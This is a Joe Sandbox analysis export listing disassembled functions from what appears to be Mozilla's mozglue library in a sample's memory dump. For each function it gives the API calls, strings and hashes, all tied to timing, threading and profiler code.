Instruction ID: 578bffdb41b621cb7fc2bf7a148c7b20ff0790b66f990af015ccb20400b64fe7
Opcode Fuzzy Hash: 2e6aae1a0900e57504eb09637f505b1b4feb0af27a85a20fdff348d99fee47b1
Instruction Fuzzy Hash: AD81C470B002149BEB20EF68CA94B69B7B5FB6732CF10C539E92197B80D7759806CBD5

Function 6C7D5E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C7D5E9D

Part of subcall function 6C7E5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C7E56EE,?,00000001), ref: 6C7E5B85
Part of subcall function 6C7E5B50: EnterCriticalSection.KERNEL32(6C84F688,?,?,?,6C7E56EE,?,00000001), ref: 6C7E5B90
Part of subcall function 6C7E5B50: LeaveCriticalSection.KERNEL32(6C84F688,?,?,?,6C7E56EE,?,00000001), ref: 6C7E5BD8
Part of subcall function 6C7E5B50: GetTickCount64.KERNEL32 ref: 6C7E5BE4

GetCurrentThreadId.KERNEL32 ref: 6C7D5EAB
GetCurrentThreadId.KERNEL32 ref: 6C7D5EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C7D5ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6C7D6017

Part of subcall function 6C7C4310: moz_xmalloc.MOZGLUE(00000010,?,6C7C42D2), ref: 6C7C436A
Part of subcall function 6C7C4310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6C7C42D2), ref: 6C7C4387

moz_xmalloc.MOZGLUE(00000004), ref: 6C7D5F47
GetCurrentProcess.KERNEL32 ref: 6C7D5F53
GetCurrentThread.KERNEL32 ref: 6C7D5F5C
GetCurrentProcess.KERNEL32 ref: 6C7D5F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C7D5F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6C7D5F27

Part of subcall function 6C7DCA10: mozalloc_abort.MOZGLUE(?), ref: 6C7DCAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C7D55E1), ref: 6C7D5E8C

Part of subcall function 6C7DCA10: malloc.MOZGLUE(?), ref: 6C7DCA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C7D55E1), ref: 6C7D605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C7D55E1), ref: 6C7D60CC

Strings

GeckoMain, xrefs: 6C7D5ECE, 6C7D6015

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: 1ecb36a0846216aed85544ed8ef6b3484efeefd0ce4a09330b76022d1e78dcab
Instruction ID: 20d7b111fb2d6b7e90ed798b959832ded582b5f58f6f02e8a57b8227b7db6c9a
Opcode Fuzzy Hash: 1ecb36a0846216aed85544ed8ef6b3484efeefd0ce4a09330b76022d1e78dcab
Instruction Fuzzy Hash: 1771AFB06047408FD710DF28D584A6ABBF0FF99308F55496DE4868BB52D731E948CB92

Function 6C7D9590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C7C31C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6C7C3217
Part of subcall function 6C7C31C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6C7C3236
Part of subcall function 6C7C31C0: FreeLibrary.KERNEL32 ref: 6C7C324B
Part of subcall function 6C7C31C0: __Init_thread_footer.LIBCMT ref: 6C7C3260
Part of subcall function 6C7C31C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6C7C327F
Part of subcall function 6C7C31C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C7C328E
Part of subcall function 6C7C31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C7C32AB
Part of subcall function 6C7C31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C7C32D1
Part of subcall function 6C7C31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C7C32E5
Part of subcall function 6C7C31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C7C32F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C7D9675
__Init_thread_footer.LIBCMT ref: 6C7D9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C7D96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C7D9707
__Init_thread_footer.LIBCMT ref: 6C7D971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C7D9773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C7D97B7
FreeLibrary.KERNEL32 ref: 6C7D97D0
FreeLibrary.KERNEL32 ref: 6C7D97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C7D9824

Strings

MapViewOfFileNuma2, xrefs: 6C7D97B1
NtMapViewOfSection, xrefs: 6C7D9701
ntdll.dll, xrefs: 6C7D96E3
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C7D9670

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: 0043aa35d981e0661fbbc2417285f722e1b20289bea370439c4c9fb4fd216ba4
Instruction ID: bc2fe2276b15329fd18a4bac46e47b48abf4f8c69ade65feae24473a0ff212d8
Opcode Fuzzy Hash: 0043aa35d981e0661fbbc2417285f722e1b20289bea370439c4c9fb4fd216ba4
Instruction Fuzzy Hash: 1961D171600245ABDF20EF65DA98A9A7BB0EB6A32CF01853DF91593780DB34A844CBD1

Function 6C7D7FD0 Relevance: 24.2, APIs: 16, Instructions: 166COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(000000FF,00000000,00000000,?), ref: 6C7D8007
moz_xmalloc.MOZGLUE(?,000000FF,00000000,00000000,?), ref: 6C7D801D

Part of subcall function 6C7DCA10: malloc.MOZGLUE(?), ref: 6C7DCA26

memset.VCRUNTIME140(00000000,00000000,?,?), ref: 6C7D802B
K32EnumProcessModules.KERNEL32(000000FF,00000000,?,?,?,?,?,?), ref: 6C7D803D
moz_xmalloc.MOZGLUE(00000104,000000FF,00000000,?,?,?,?,?,?), ref: 6C7D808D

Part of subcall function 6C7DCA10: mozalloc_abort.MOZGLUE(?), ref: 6C7DCAA2

memset.VCRUNTIME140(00000000,00000000,00000104,?,?,?,?,?), ref: 6C7D809B
GetModuleFileNameW.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6C7D80B9
moz_xmalloc.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C7D80DF
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C7D80ED
wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C7D80FB
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C7D810D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C7D8133
free.MOZGLUE(00000000,000000FF,00000000,?,?,?,?,?,?), ref: 6C7D8149
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?), ref: 6C7D8167
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 6C7D817C
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C7D8199

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: free$memsetmoz_xmalloc$EnumModulesProcess$ErrorFileLastModuleNamemallocmozalloc_abortwcscpy_s
String ID:
API String ID: 2721933968-0
Opcode ID: 3a0aa42a5b1fc96a5f3fd91a49542ae52ed20e250c8ca7f2d3272fbb360dc10e
Instruction ID: fc0e0497ad1215d24b24c0329fcf0fd6e4b4e5068732c803b647f1be88c525d5
Opcode Fuzzy Hash: 3a0aa42a5b1fc96a5f3fd91a49542ae52ed20e250c8ca7f2d3272fbb360dc10e
Instruction Fuzzy Hash: F951D5B2E001149BDB10DBA9DD889EFB7B8AF49364F151139E815E7341E731AD08CBE1

Function 6C826660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6C84F618), ref: 6C826694
GetThreadId.KERNEL32(?), ref: 6C8266B1
GetCurrentThreadId.KERNEL32 ref: 6C8266B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6C8266E1
EnterCriticalSection.KERNEL32(6C84F618), ref: 6C826734
GetCurrentProcess.KERNEL32 ref: 6C82673A
LeaveCriticalSection.KERNEL32(6C84F618), ref: 6C82676C
GetCurrentThread.KERNEL32 ref: 6C8267FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6C826868
RtlCaptureContext.NTDLL ref: 6C82687F

Strings

WalkStack64, xrefs: 6C826890

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: a9875e1a0d80372917c77f145bf2e66435c6a4c291a2a9bfcba65f904ae1b0a8
Instruction ID: f4993ebd776ae89a27f7bb927e4c74aeece108da6667d1f22fbbfc91b2b944ca
Opcode Fuzzy Hash: a9875e1a0d80372917c77f145bf2e66435c6a4c291a2a9bfcba65f904ae1b0a8
Instruction Fuzzy Hash: 20519B71A09311AFD721DF24CA48A5ABBF4FF89718F00892DF59887640D7B4A948CBD2

Function 6C80DE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C809420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C7D4A68), ref: 6C80945E
Part of subcall function 6C809420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C809470
Part of subcall function 6C809420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C809482
Part of subcall function 6C809420: __Init_thread_footer.LIBCMT ref: 6C80949F

GetCurrentThreadId.KERNEL32 ref: 6C80DE73
GetCurrentThreadId.KERNEL32 ref: 6C80DF7D
AcquireSRWLockExclusive.KERNEL32(6C84F4B8), ref: 6C80DF8A
ReleaseSRWLockExclusive.KERNEL32(6C84F4B8), ref: 6C80DFC9
GetCurrentThreadId.KERNEL32 ref: 6C80DFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C80E000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C7D4A68), ref: 6C80DE7B

Part of subcall function 6C8094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C8094EE
Part of subcall function 6C8094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C809508

Part of subcall function 6C7FCBE8: GetCurrentProcess.KERNEL32(?,6C7C31A7), ref: 6C7FCBF1
Part of subcall function 6C7FCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C7C31A7), ref: 6C7FCBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C7D4A68), ref: 6C80DEB8
free.MOZGLUE(00000000,?,6C7D4A68), ref: 6C80DEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C80DF38

Strings

<none>, xrefs: 6C80DFD7
[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6C80E00E
[I %d/%d] locked_profiler_stop, xrefs: 6C80DE83

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: 0965db2ed5f67c1e931a3c8e445797099bb5548b061799edefeb65c086ac1c46
Instruction ID: 6d1eeee143ce261a385e569defcbb5cd27f57a42c74ab1ca0ea063f9a1a228db
Opcode Fuzzy Hash: 0965db2ed5f67c1e931a3c8e445797099bb5548b061799edefeb65c086ac1c46
Instruction Fuzzy Hash: D64106317015149BDB30AF68DE08BAF7775EB9631CF54893AE91997B01CB309805CBE2

Function 6C81D4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C81D4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C81D4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C81D52A
GetCurrentThreadId.KERNEL32 ref: 6C81D530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C81D53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C81D55F
free.MOZGLUE(00000000), ref: 6C81D585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C81D5D3
GetCurrentThreadId.KERNEL32 ref: 6C81D5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C81D605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C81D652
GetCurrentThreadId.KERNEL32 ref: 6C81D658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C81D667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C81D6A2

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: 6bc66bf10b6a0ca9549fba81dcbb29fec040004ba65b4ff0fc50804e0797b2d3
Instruction ID: 99d2537b5c6e2205c97d8e0871c4e87ce2fdfad88930384239340085abf5128e
Opcode Fuzzy Hash: 6bc66bf10b6a0ca9549fba81dcbb29fec040004ba65b4ff0fc50804e0797b2d3
Instruction Fuzzy Hash: 6A515F71604B05DFC714DF35C588A9ABBF4FF89318F108A2EE95A87B11DB30A945CB91

Function 6C7E5670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6C7E56D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C7E56E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6C7E56F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6C7E5744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6C7E57BC
GetTickCount64.KERNEL32 ref: 6C7E58CB
EnterCriticalSection.KERNEL32(6C84F688), ref: 6C7E58F3
__aulldiv.LIBCMT ref: 6C7E5945
LeaveCriticalSection.KERNEL32(6C84F688), ref: 6C7E59B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6C84F638,?,?,?,?), ref: 6C7E59E9

Strings

MOZ_APP_RESTART, xrefs: 6C7E56CC

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: 044aba4ace0f21a0bb150e2e9cf062d13bb2cb8eb0ef4d506b86734d905c6d0a
Instruction ID: 222df68a36a5564d165d9d1510c48c8b86e06e78f6e266ad45a5a5ce481d6049
Opcode Fuzzy Hash: 044aba4ace0f21a0bb150e2e9cf062d13bb2cb8eb0ef4d506b86734d905c6d0a
Instruction Fuzzy Hash: C8C1A032A083549FD715DF28D54066AFBF1BFDA718F05CA2DE8C897621D730A885CB82

Function 6C80EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C809420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C7D4A68), ref: 6C80945E
Part of subcall function 6C809420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C809470
Part of subcall function 6C809420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C809482
Part of subcall function 6C809420: __Init_thread_footer.LIBCMT ref: 6C80949F

GetCurrentThreadId.KERNEL32 ref: 6C80EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C80EC8C

Part of subcall function 6C8094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C8094EE
Part of subcall function 6C8094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C809508

GetCurrentThreadId.KERNEL32 ref: 6C80ECA1
AcquireSRWLockExclusive.KERNEL32(6C84F4B8), ref: 6C80ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6C80ECC5
ReleaseSRWLockExclusive.KERNEL32(6C84F4B8), ref: 6C80ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C80ED19
CloseHandle.KERNEL32(?), ref: 6C80ED28
free.MOZGLUE(00000000), ref: 6C80ED2F
ReleaseSRWLockExclusive.KERNEL32(6C84F4B8), ref: 6C80ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6C80EC94

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: e16e94614c00a4e0fac405a8f747c7e5c3c9bb104b80ad093383cd29cd89e95c
Instruction ID: 57c12316c512d0baa754cf73e8b13db78e10053e67b90d869c6b861829dc36c3
Opcode Fuzzy Hash: e16e94614c00a4e0fac405a8f747c7e5c3c9bb104b80ad093383cd29cd89e95c
Instruction Fuzzy Hash: D721E275700508ABDB20AF28DE08BAB7779EB9636DF108A35FC1897741DB359805CBE1

Function 6C808ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6C7CEB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C7CEB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6C80B392,?,?,00000001), ref: 6C8091F4

Part of subcall function 6C7FCBE8: GetCurrentProcess.KERNEL32(?,6C7C31A7), ref: 6C7FCBF1
Part of subcall function 6C7FCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C7C31A7), ref: 6C7FCBFA

Strings

timeline-memory, xrefs: 6C809088
marker-chart, xrefs: 6C80905E
timeline-fileio, xrefs: 6C8090A4
marker-table, xrefs: 6C80906C
timeline-ipc, xrefs: 6C809096
timeline-overview, xrefs: 6C80907A
stack-chart, xrefs: 6C8090B2
name, xrefs: 6C808F16
data, xrefs: 6C8090E8

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: 68d5c076fe5eac3154ef656a6f29887796291b0bc6e53a4bb636e6b95a2862a2
Instruction ID: 785fcdbd3e7e74fc9a4aa45b5c7cd3525fe64448b85f0e616537e918aeae93c7
Opcode Fuzzy Hash: 68d5c076fe5eac3154ef656a6f29887796291b0bc6e53a4bb636e6b95a2862a2
Instruction Fuzzy Hash: BFB1F970B012199BDB24CF94CA59BEEBBB5BF85308F50482DD4156BF80D731A949CBD1

Function 6C7EC570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C7EC5A3
WideCharToMultiByte.KERNEL32 ref: 6C7EC9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C7EC9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6C7ECA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C7ECA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C7ECAA5

Strings

0, xrefs: 6C7ED30A
(null), xrefs: 6C7EC596

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: aa4f8b49535ed3a4ffdce219a29565f76df0be9e5649dfb95cb3ea8daae834f3
Instruction ID: 69fe733c226d8956efb6b39e506b80dc2ee2c01dba5232e8b103052567c1dcc7
Opcode Fuzzy Hash: aa4f8b49535ed3a4ffdce219a29565f76df0be9e5649dfb95cb3ea8daae834f3
Instruction Fuzzy Hash: 18A1BB366083428FDB10EF28C65475BBBE1BFC9349F08892DE99997641D735E804CB82

Function 6C7EC769 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 159COMMON

Download Yara Rule

APIs

islower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C7EC784
_dsign.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C7EC801
_dtest.API-MS-WIN-CRT-MATH-L1-1-0(?), ref: 6C7EC83D
